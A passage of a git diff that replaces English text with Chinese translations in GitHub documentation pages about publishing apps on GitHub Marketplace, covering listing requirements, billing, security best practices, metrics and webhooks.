-For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)."
+有关提供良好客户体验的更多信息，请参阅“[应用程序的客户体验最佳实践](/developers/github-marketplace/customer-experience-best-practices-for-apps)”。
 
-### Brand and listing requirements for all apps
+### 所有应用程序的品牌和上架要求
 
-- Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)."
-- Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)."
-- Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)."
+- 使用 GitHub 徽标的应用程序必须遵循 {% data variables.product.company_short %} 指南。 更多信息请参阅“[{% data variables.product.company_short %} 徽标和用法](https://github.com/logos)”。
+- 应用程序必须具有徽标、功能卡和屏幕截图，并且这些内容必须遵循“[编写 {% data variables.product.prodname_marketplace %} 上架说明](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)”中提供的建议。
+- 上架信息必须包含认真编写并且没有语法错误的说明。 有关编写上架信息的指南，请参阅“[编写 {% data variables.product.prodname_marketplace %} 上架说明](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)”。
 
-To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)."
+为了保护您的客户，我们建议您还要遵循安全最佳实践。 更多信息请参阅“[应用程序的安全最佳实践](/developers/github-marketplace/security-best-practices-for-apps)”。
 
-## Considerations for free apps
+## 免费应用程序注意事项
 
-{% data reusables.marketplace.free-apps-encouraged %} 
+{% data reusables.marketplace.free-apps-encouraged %}
 
-## Requirements for paid apps
+## 付费应用程序的要求
 
-To publish a paid plan for your app on {% data variables.product.prodname_marketplace %}, your app must be owned by an organization that is a verified publisher. For more information about the verification process or transferring ownership of your app, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
+要在 {% data variables.product.prodname_marketplace %} 上发布应用程序的付费计划，您的应用程序必须由身份为经验证发布者的组织所拥有。 有关验证流程或转让应用程序所有权的更多信息，请参阅“[为组织申请发布者验证](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)”。
 
-If your app is already published and you're a verified publisher, then you can publish a new paid plan from the pricing plan editor. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)."
+如果您的应用程序已发布，并且您是经验证的发布者，则您可以使用定价计划编辑器发布新的付费计划。 更多信息请参阅“[为上架产品设置定价计划](/developers/github-marketplace/setting-pricing-plans-for-your-listing)”。
 
-To publish a paid app (or an app that offers a paid plan), you must also meet the following requirements:
+要发布付费应用程序（或提供付费计划的应用程序），您还必须满足以下要求：
 
-- {% data variables.product.prodname_github_apps %} should have a minimum of 100 installations.
-- {% data variables.product.prodname_oauth_apps %} should have a minimum of 200 users.
-- All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below.
+- {% data variables.product.prodname_github_apps %} 应至少有 100 个安装设施。
+- {% data variables.product.prodname_oauth_apps %} 应至少有 200 个用户。
+- 所有付费应用程序必须处理关于新购买、升级、降级、取消和免费试用的 {% data variables.product.prodname_marketplace %} 购买事件。 更多信息请参阅下面的“[付费应用程序的计费要求](#billing-requirements-for-paid-apps)”。
 
-When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the app listing.
+当您准备在 {% data variables.product.prodname_marketplace %} 上发布应用程序时，您必须请求验证应用程序上架信息。
 
 {% note %}
 
-**Note:** {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to transfer an app to an organization, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)."
+**注：**{% data reusables.marketplace.app-transfer-to-org-for-verification %} 有关如何将应用程序转让给组织，请参阅“[提交要发布的上架信息](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)”。
 
 {% endnote %}
 
-## Billing requirements for paid apps
+## 付费应用程序的计费要求
 
-Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+您的应用程序无需处理付款，但需要使用 {% data variables.product.prodname_marketplace %} 购买事件来管理新购买、升级、降级、取消和免费试用。 有关如何将这些事件集成到您的应用程序中，请参阅“[在应用程序中使用 {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)”。
 
-Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their account on {% data variables.product.product_location %}.
+GitHub 的计费 API 允许客户在不离开 GitHub 的情况下购买应用程序，并使用已附加到其在 {% data variables.product.product_location %} 上帐户的付款方式来支付服务费用。
 
-- Apps must support both monthly and annual billing for paid subscriptions purchases.
-- Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)."
+- 应用程序必须在付费订阅计划中支持月度和年度计费。
+- 上架产品可提供免费和付费计划的任何组合。 免费计划是可选项，但建议提供。 更多信息请参阅“[设置 {% data variables.product.prodname_marketplace %} 上架产品的定价计划](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)”。
diff --git a/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md b/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
index edf1015910..584ee621e8 100644
--- a/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
+++ b/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
@@ -1,63 +1,63 @@
 ---
-title: Security best practices for apps
-intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.'
+title: 应用程序的安全最佳实践
+intro: '准备在 {% data variables.product.prodname_marketplace %} 上分享安全应用程序的指南。'
 redirect_from:
   - /apps/marketplace/getting-started/security-review-process
   - /marketplace/getting-started/security-review-process
   - /developers/github-marketplace/security-review-process-for-submitted-apps
   - /developers/github-marketplace/security-best-practices-for-apps
-shortTitle: Security best practice
+shortTitle: 安全最佳实践
 versions:
   fpt: '*'
   ghec: '*'
 topics:
   - Marketplace
 ---
-If you follow these best practices it will help you to provide a secure user experience.
 
-## Authorization, authentication, and access control
+遵循这些最佳实践将有助于您提供安全的用户体验。
 
-We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details.
-- Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia.
-- Apps should provide customers with a way to delete their account, without having to email or call a support person.
-- Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately.
-- Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code.
-- Apps should not share service accounts such as email or database services to manage your SaaS service.
-- All services used in your app should have unique login and password credentials.
-- Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties.
-- Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps):
-  - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/).
-  - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation).
+## 授权、身份验证和访问控制
 
-## Data protection
+我们建议创建 GitHub 应用程序，而不是 OAuth 应用程序。 {% data reusables.marketplace.github_apps_preferred %}. 更多信息请参阅“[GitHub 应用程序和 OAuth 应用程序之间的差异](/apps/differences-between-apps/)”。
+- 应用程序应使用最小权限原则，只请求应用程序执行其预期功能所需的 OAuth 作用域和 GitHub 应用程序权限。 更多信息请参阅维基百科中的[最小权限原则](https://en.wikipedia.org/wiki/Principle_of_least_privilege)。
+- 应用程序应为客户提供删除其帐户的方法，而无需发送电子邮件或呼叫支持人员。
+- 应用程序不应在应用程序的不同实现之间共享令牌。 例如，桌面应用程序应该使用与基于 Web 的应用程序不同的令牌。 单个令牌允许每个应用程序单独请求 GitHub 资源所需的访问权限。
+- 根据每种用户类型所需的功能，针对不同的用户角色设计应用程序。 例如，标准用户不应有权访问管理功能，帐单管理员可能不需要仓库代码推送权限。
+- 应用程序不应共享服务帐户（如电子邮件或数据库服务）来管理 SaaS 服务。
+- 应用程序中使用的所有服务都应具有唯一的登录名和密码凭据。
+- 对生产托管基础架构的管理员权限只能授予担当管理职责的工程师和员工。
+- 应用程序不应使用个人访问令牌进行身份验证，应验证为 [OAuth 应用程序](/apps/about-apps/#about-oauth-apps)或 [GitHub 应用程序](/apps/about-apps/#about-github-apps)：
+  - OAuth 应用程序应使用 [OAuth 令牌](/apps/building-oauth-apps/authorizing-oauth-apps/)进行身份验证。
+  - GitHub 应用程序应使用 [JSON Web 令牌 (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app)、[OAuth 令牌](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)或[安装访问令牌](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)进行身份验证。
 
-- Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git.
-- Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables).
-- Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub.
-- Apps should not require the user to provide their GitHub password.
-- Apps should encrypt tokens, client IDs, and client secrets.
+## 数据保护
 
-## Logging and monitoring
+- 应用程序应使用带有有效 TLS 证书或 SSH for Git 的 HTTPS 对通过公共互联网传输的数据进行加密。
+- 应用程序应安全地存储客户端 ID 和客户端密钥。 我们建议将它们存储为[环境变量](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables)。
+- 应用程序应在收到用户请求后 30 天内或在用户与 GitHub 的法律关系终止后 30 天内删除所有 GitHub 用户数据。
+- 应用程序不应要求用户提供其 GitHub 密码。
+- 应用程序应该对令牌、客户端 ID 和客户端密钥进行加密。
 
-Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year.
-A security log should include:
+## 日志记录和监视
 
-- Authentication and authorization events
-- Service configuration changes
-- Object reads and writes
-- All user and group permission changes
-- Elevation of role to admin
-- Consistent timestamping for each event
-- Source users, IP addresses, and/or hostnames for all logged actions
+应用程序应具有日志记录和监视功能。 应用程序日志应保留至少 30 天，并存档至少一年。 安全日志应包括：
 
-## Incident response workflow
+- 身份验证和授权事件
+- 服务配置更改
+- 对象读取和写入
+- 所有用户和组权限更改
+- 角色提升到管理员
+- 每个事件的一致时间戳
+- 所有记录操作的源用户、IP 地址和/或主机名
 
-To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident.
+## 事件响应工作流程
 
-For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template.
+要为用户提供安全体验，应在上架应用程序之前制定明确的事件响应计划。 我们建议您在自己的公司内成立安全和运营事件响应团队，而不是使用第三方供应商。 您应该能够在确认事件后 24 小时内通知 {% data variables.product.product_name %}。
 
-## Vulnerability management and patching workflow
+有关事件响应工作流程的示例，请参阅 [SANS 研究所网站](https://www.sans.org/information-security-policy/)上的“数据泄露响应策略”。 包含明确的事件响应措施的简短文档比冗长的策略模板更有价值。
 
-You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability.
+## 漏洞管理和补丁工作流程
 
-If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)."
+您应该定期对生产基础架构进行漏洞扫描。 您应该对漏洞扫描的结果进行分类，并定义您同意修复漏洞的时间段。
+
+如果您还没有准备好设置完整的漏洞管理程序，最好先创建一个修补流程。 有关创建补丁管理策略的指南，请参阅这篇 TechRepublic 文章“[建立补丁管理策略](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)”。
diff --git a/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md b/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
index 1faccc7c50..ca9d6d5132 100644
--- a/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
+++ b/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing metrics for your listing
-intro: 'The {% data variables.product.prodname_marketplace %} Insights page displays metrics for your {% data variables.product.prodname_github_app %}. You can use the metrics to track your {% data variables.product.prodname_github_app %}''s performance and make more informed decisions about pricing, plans, free trials, and how to visualize the effects of marketing campaigns.'
+title: 查看上架产品的指标
+intro: '{% data variables.product.prodname_marketplace %} Insights 页面显示 {% data variables.product.prodname_github_app %} 的指标。 您可以使用这些指标来跟踪 {% data variables.product.prodname_github_app %} 的表现，并就价格、计划、免费试用以及如何看待营销活动的效果做出更明智的决定。'
 redirect_from:
   - /apps/marketplace/managing-github-marketplace-listings/viewing-performance-metrics-for-a-github-marketplace-listing
   - /apps/marketplace/viewing-performance-metrics-for-a-github-marketplace-listing
@@ -12,45 +12,45 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: View listing metrics
+shortTitle: 查看列表指标
 ---
-You can view metrics for the past day (24 hours), week, month, or for the entire duration of time that your {% data variables.product.prodname_github_app %} has been listed.
+
+您可以查看 {% data variables.product.prodname_github_app %} 在过去一天（24 小时）、一周、一月或整个上架期间的指标。
 
 {% note %}
 
-**Note:** Because it takes time to aggregate data, you'll notice a slight delay in the dates shown. When you select a time period, you can see exact dates for the metrics at the top of the page.
+**注：**由于聚合数据需要时间，因此您会注意到显示的日期略有延迟。 选择时间段时，可以在页面顶部看到指标的确切日期。
 
 {% endnote %}
 
-## Performance metrics
+## 性能指标
 
-The Insights page displays these performance metrics, for the selected time period:
+Insights 页面显示选定时段的以下性能指标：
 
-* **Subscription value:** Total possible revenue (in US dollars) for subscriptions. This value represents the possible revenue if no plans or free trials are cancelled and all credit transactions are successful. The subscription value includes the full value for plans that begin with a free trial in the selected time period, even when there are no financial transactions in that time period. The subscription value also includes the full value of upgraded plans in the selected time period but does not include the prorated amount. To see and download individual transactions, see "[GitHub Marketplace transactions](/marketplace/github-marketplace-transactions/)."
-* **Visitors:** Number of people that have viewed a page in your GitHub Apps listing. This number includes both logged in and logged out visitors.
-* **Pageviews:** Number of views the pages in your GitHub App's listing received. A single visitor can generate more than one pageview.
+* **Subscription value（订阅价值）：**订阅的可能总收入（美元）。 此值表示在没有计划或免费试用被取消并且所有信用交易都成功的情况下的可能收入。 订阅价值包括计划在选定时段内的全部价值，从免费试用开始计算，即使在该时段内没有任何财务交易。 订阅价值还包括选定时段内升级计划的全部价值，但不包括按比例分配的金额。 要查看和下载单个交易，请参阅“[GitHub Marketplace 交易](/marketplace/github-marketplace-transactions/)”。
+* **Visitors（访客数）：**查看过 GitHub 应用程序上架页面的人数。 此数字包括已登录和已注销的访客。
+* **Pageviews（网页浏览量）：**GitHub 应用程序上架页面获得的浏览次数。 单个访客可以产生多个网页浏览量。
 
 {% note %}
 
-**Note:**  Your estimated subscription value could be much higher than the transactions processed for this period. 
+**注：**您估计的订阅价值可能远远高于此期间处理的交易。
 
 {% endnote %}
 
-### Conversion performance
+### 转化性能
 
-* **Unique visitors to landing page:** Number of people who viewed your GitHub App's landing page.
-* **Unique visitors to checkout page:** Number of people who viewed one of your GitHub App's checkout pages.
-* **Checkout page to new subscriptions:** Total number of paid subscriptions, free trials, and free subscriptions. See the "Breakdown of total subscriptions" for the specific number of each type of subscription.
+* **Unique visitors to landing page（登录页面的绝对访客数）：**查看过 GitHub 应用程序登录页面的人数。
+* **Unique visitors to checkout page（结账页面的绝对访客数）：**查看过 GitHub 应用程序结账页面的人数。
+* **Checkout page to new subscriptions（结账页面产生的新订阅数）：**付费订阅、免费试用和免费订阅的总数。 有关每种类型订阅的具体数量，请参阅“订阅总数的细分”。
 
 ![Marketplace insights](/assets/images/marketplace/marketplace_insights.png)
 
-To access {% data variables.product.prodname_marketplace %} Insights:
+要访问 {% data variables.product.prodname_marketplace %} Insights：
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.marketplace_apps %}
-4. Select the {% data variables.product.prodname_github_app %} that you'd like to view Insights for.
+4. 选择要查看其 Insights 的 {% data variables.product.prodname_github_app %}。
 {% data reusables.user-settings.edit_marketplace_listing %}
-6. Click the **Insights** tab.
-7. Optionally, select a different time period by clicking the Period dropdown in the upper-right corner of the Insights page.
-![Marketplace time period](/assets/images/marketplace/marketplace_insights_time_period.png)
+6. 单击 **Insights** 选项卡。
+7. （可选）通过单击 Insights 页面右上角的 Period（时段）下拉列表选择不同的时间段。 ![Marketplace 时段](/assets/images/marketplace/marketplace_insights_time_period.png)
diff --git a/translations/zh-CN/content/developers/github-marketplace/index.md b/translations/zh-CN/content/developers/github-marketplace/index.md
index 7bfbc295fd..d5b9dc34b7 100644
--- a/translations/zh-CN/content/developers/github-marketplace/index.md
+++ b/translations/zh-CN/content/developers/github-marketplace/index.md
@@ -1,6 +1,6 @@
 ---
 title: GitHub Marketplace
-intro: 'List your tools in {% data variables.product.prodname_dotcom %} Marketplace for developers to use or purchase.'
+intro: '在 {% data variables.product.prodname_dotcom %} Marketplace 中上架您的工具，供开发者使用或购买。'
 redirect_from:
   - /apps/adding-integrations/listing-apps-on-github-marketplace/about-github-marketplace
   - /apps/marketplace
diff --git a/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md b/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
index d1b387eead..ced4b8d930 100644
--- a/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
+++ b/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a webhook to notify you of plan changes
-intro: 'After [creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/), you can configure a webhook that notifies you when changes to customer account plans occur. After you configure the webhook, you can [handle the `marketplace_purchase` event types](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) in your app.'
+title: 配置 web 挂钩以通知您计划更改
+intro: '在[创建 {% data variables.product.prodname_marketplace %} 上架信息草稿](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) 后，您可以配置 web 挂钩，以便在客户帐户计划发生更改时通知您。 配置 web 挂钩后，您可以在应用程序中[处理 `marketplace_purchase` 事件类型](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)。'
 redirect_from:
   - /apps/adding-integrations/managing-listings-on-github-marketplace/adding-webhooks-for-a-github-marketplace-listing
   - /apps/marketplace/managing-github-marketplace-listings/adding-webhooks-for-a-github-marketplace-listing
@@ -13,32 +13,33 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Webhooks for plan changes
+shortTitle: 计划更改的 web 挂钩
 ---
-The {% data variables.product.prodname_marketplace %} event webhook can only be set up from your application's {% data variables.product.prodname_marketplace %} listing page. You can configure all other events from your [application's developer settings page](https://github.com/settings/developers). If you haven't created a {% data variables.product.prodname_marketplace %} listing, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how.
 
-## Creating a webhook
+{% data variables.product.prodname_marketplace %} 事件 web 挂钩只能在应用程序的 {% data variables.product.prodname_marketplace %} 上架页面中进行设置。 您可以在[应用程序的开发者设置页面](https://github.com/settings/developers)中配置所有其他事件。 如果您尚未创建 {% data variables.product.prodname_marketplace %} 上架信息，请阅读“[创建 {% data variables.product.prodname_marketplace %} 上架信息](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)”了解方法。
 
-To create a webhook for your {% data variables.product.prodname_marketplace %} listing, click **Webhook** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). You'll see the following webhook configuration options needed to configure your webhook:
+## 创建 web 挂钩
 
-### Payload URL
+要为 {% data variables.product.prodname_marketplace %} 上架信息创建 web 挂钩，请在 [{% data variables.product.prodname_marketplace %} 上架页面](https://github.com/marketplace/manage)的左边栏中单击 **Webhook（web 挂钩）**。 您将看到配置 web 挂钩所需的以下 web 挂钩配置选项：
+
+### 有效负载 URL
 
 {% data reusables.webhooks.payload_url %}
 
-### Content type
+### 内容类型
 
-{% data reusables.webhooks.content_type %} GitHub recommends using the `application/json` content type.
+{% data reusables.webhooks.content_type %} GitHub 建议使用 `application/json` 内容类型。
 
-### Secret
+### 密钥
 
 {% data reusables.webhooks.secret %}
 
-### Active
+### 已激活
 
-By default, webhook deliveries are "Active." You can choose to disable the delivery of webhook payloads during development by deselecting "Active." If you've disabled webhook deliveries, you will need to select "Active" before you submit your app for review.
+默认情况下，web 挂钩交付为“Active（激活）”。 您可以通过取消选择“Active（激活）”来选择在开发过程中禁用 web 挂钩交付。 如果您禁用了 web 挂钩交付，则在提交应用程序以供审查之前需要选择“Active（激活）”。
 
-## Viewing webhook deliveries
+## 查看 web 挂钩交付
 
-Once you've configured your {% data variables.product.prodname_marketplace %} webhook, you'll be able to inspect `POST` request payloads from the **Webhook** page of your application's [{% data variables.product.prodname_marketplace %} listing](https://github.com/marketplace/manage). GitHub doesn't resend failed delivery attempts. Ensure your app can receive all webhook payloads sent by GitHub.
+配置 {% data variables.product.prodname_marketplace %} web 挂钩后，您可以在应用程序的 [{% data variables.product.prodname_marketplace %} 上架信息](https://github.com/marketplace/manage)的 **Webhook（web 挂钩）**页面中检查 `POST` 请求有效负载。 GitHub 不会重新发送失败的递送尝试。 确保您的应用程序可以接收 GitHub 发送的所有 web 挂钩有效负载。
 
-![Inspect recent {% data variables.product.prodname_marketplace %} webhook deliveries](/assets/images/marketplace/marketplace_webhook_deliveries.png)
+![检查最近的 {% data variables.product.prodname_marketplace %} web 挂钩交付](/assets/images/marketplace/marketplace_webhook_deliveries.png)
diff --git a/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md b/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
index 9dd64a8959..e1b64bfeb1 100644
--- a/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
+++ b/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
@@ -1,6 +1,6 @@
 ---
-title: Drafting a listing for your app
-intro: 'When you create a {% data variables.product.prodname_marketplace %} listing, GitHub saves it in draft mode until you submit the app for approval. Your listing shows customers how they can use your app.'
+title: 起草应用程序上架信息
+intro: '当您创建 {% data variables.product.prodname_marketplace %} 上架信息时，GitHub 将其保存为草稿模式，直到您提交应用程序以供审批。 您的上架信息向客户显示如何使用您的应用程序。'
 redirect_from:
   - /apps/adding-integrations/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace
   - /apps/marketplace/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace
@@ -18,51 +18,50 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Draft an app listing
+shortTitle: 草拟应用程序列表
 ---
-## Create a new draft {% data variables.product.prodname_marketplace %} listing
 
-You can only create draft listings for apps that are public. Before creating your draft listing, you can read the following guidelines for writing and configuring settings in your {% data variables.product.prodname_marketplace %} listing:
+## 创建新的 {% data variables.product.prodname_marketplace %} 上架信息草稿
 
-* [Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)
-* [Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)
-* [Configuring the {% data variables.product.prodname_marketplace %} Webhook](/marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook/)
+您只能为公共应用程序创建上架信息草稿。 在创建上架信息草稿之前，请阅读以下有关在 {% data variables.product.prodname_marketplace %} 上架信息中编写和配置设置的指南：
 
-To create a {% data variables.product.prodname_marketplace %} listing:
+* [编写 {% data variables.product.prodname_marketplace %} 上架产品说明](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)
+* [设置 {% data variables.product.prodname_marketplace %} 上架产品的定价计划](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)
+* [配置 {% data variables.product.prodname_marketplace %} web 挂钩](/marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook/)
+
+要创建 {% data variables.product.prodname_marketplace %} 上架信息：
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
-3. In the left sidebar, click either **OAuth Apps** or **GitHub Apps** depending on the app you're adding to {% data variables.product.prodname_marketplace %}.
+3. 在左边栏中，单击 **OAuth Apps（OAuth 应用程序）**或 **GitHub Apps（GitHub 应用程序）**，具体取决于您要添加到 {% data variables.product.prodname_marketplace %} 的应用程序。
 
   {% note %}
 
-  **Note**: You can also add a listing by navigating to https://github.com/marketplace/new, viewing your available apps, and clicking **Create draft listing**.
+  **注**：您也可以通过以下方法添加上架信息：导航到 https://github.com/marketplace/new，查看可用的应用程序，然后单击 **Create draft listing（创建上架信息草稿）**。
 
   {% endnote %}
 
-  ![App type selection](/assets/images/settings/apps_choose_app.png)
+  ![应用程序类型选择](/assets/images/settings/apps_choose_app.png)
 
-4. Select the app you'd like to add to {% data variables.product.prodname_marketplace %}.
-![App selection for {% data variables.product.prodname_marketplace %} listing](/assets/images/github-apps/github_apps_select-app.png)
+4. 选择您想添加到 {% data variables.product.prodname_marketplace %} 的应用程序。 ![选择在 {% data variables.product.prodname_marketplace %} 中上架的应用程序](/assets/images/github-apps/github_apps_select-app.png)
 {% data reusables.user-settings.edit_marketplace_listing %}
-5. Once you've created a new draft listing, you'll see an overview of the sections that you'll need to visit before your {% data variables.product.prodname_marketplace %} listing will be complete.
-![GitHub Marketplace listing](/assets/images/marketplace/marketplace_listing_overview.png)
+5. 创建新的上架草稿后，您将看到在完成 {% data variables.product.prodname_marketplace %} 上架信息之前需要访问的部分的概览。 ![GitHub Marketplace 上架信息](/assets/images/marketplace/marketplace_listing_overview.png)
 
 
 {% note %}
 
-**Note:** In the "Contact info" section of your listing, we recommend using individual email addresses, rather than group emails addresses like support@domain.com. GitHub will use these email addresses to contact you about updates to {% data variables.product.prodname_marketplace %} that might affect your listing, new feature releases, marketing opportunities, payouts, and information on conferences and sponsorships.
+**注：**在上架信息的“联系信息”部分，我们建议您使用个人电子邮件地址，而不是像 support@domain.com 这样的团体电子邮件地址。 GitHub 将使用这些电子邮件地址与您联系，以告知可能影响您的上架产品的 {% data variables.product.prodname_marketplace %} 更新、新功能发布、营销机会、付款以及会议和赞助信息。
 
 {% endnote %}
 
-## Editing your listing
+## 编辑您的上架信息
 
-Once you've created a {% data variables.product.prodname_marketplace %} draft listing, you can come back to modify information in your listing anytime. If your app is already approved and in {% data variables.product.prodname_marketplace %}, you can edit the information and images in your listing, but you will not be able to change existing published pricing plans. See "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)."
